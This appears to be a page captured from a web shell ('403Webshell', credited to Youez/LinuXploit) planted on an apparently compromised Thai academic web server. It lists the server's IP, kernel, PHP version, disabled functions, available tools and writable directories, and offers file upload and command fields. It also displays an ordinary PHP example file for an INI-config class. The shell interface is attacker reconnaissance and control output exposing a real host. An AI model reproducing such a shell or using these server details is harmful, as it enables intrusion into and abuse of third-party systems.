403Webshell
Server IP : 202.29.229.35  /  Your IP : 3.134.110.23
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/winner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/winner/example.php
<?php 

/** 
* PHP_INI Class example file
*/ 

include 'INI.class.php'; 

// Parse config.ini
$ini = new INI('db.ini');

echo '<pre>';
echo 'Content of: config.ini' . PHP_EOL;
//print_r($ini->data);


$ini->data['0001']['file']='test';
$ini->data['0001']['name']='ทดสอบ';
$ini->write();

 

echo $ini->data['0001']['name'];
echo count($ini->data);
return
$ini->data['first_sectionx']['animal'] = 'COW';



// Udate settings
$ini->data['first_sectionx']['animal'] = 'COW';

// Save settings to file
$ini->write();

return ;
// Update settings
$ini->data['first_section']['animal'] = 'HORSE';

// Add new setting to section third_section
$ini->data['third_section']['phpversion'][] = 5.4;

// Add new section third_section and new item something
$ini->data['fourth_section']['something'] = 'some data';

// Save settings to new file
$ini->write('config-2.ini');

// INI obj is now using ini 2 file
echo '<hr>Content of: config-2.ini' . PHP_EOL;
print_r($ini->data);

// Parse config.ini
$ini->read('config.ini');

// Remove item from second_section
unset($ini->data['second_section']['URL']);

// Remove third_section from second ini file and save to third file
unset($ini->data['third_section']);

// Save settings to new file
$ini->write('config-3.ini');

// INI obj is now using ini 3 file
echo '<hr>Content of: config-3.ini' . PHP_EOL;
print_r($ini->data);

Youez - 2016 - github.com/yon3zu
LinuXploit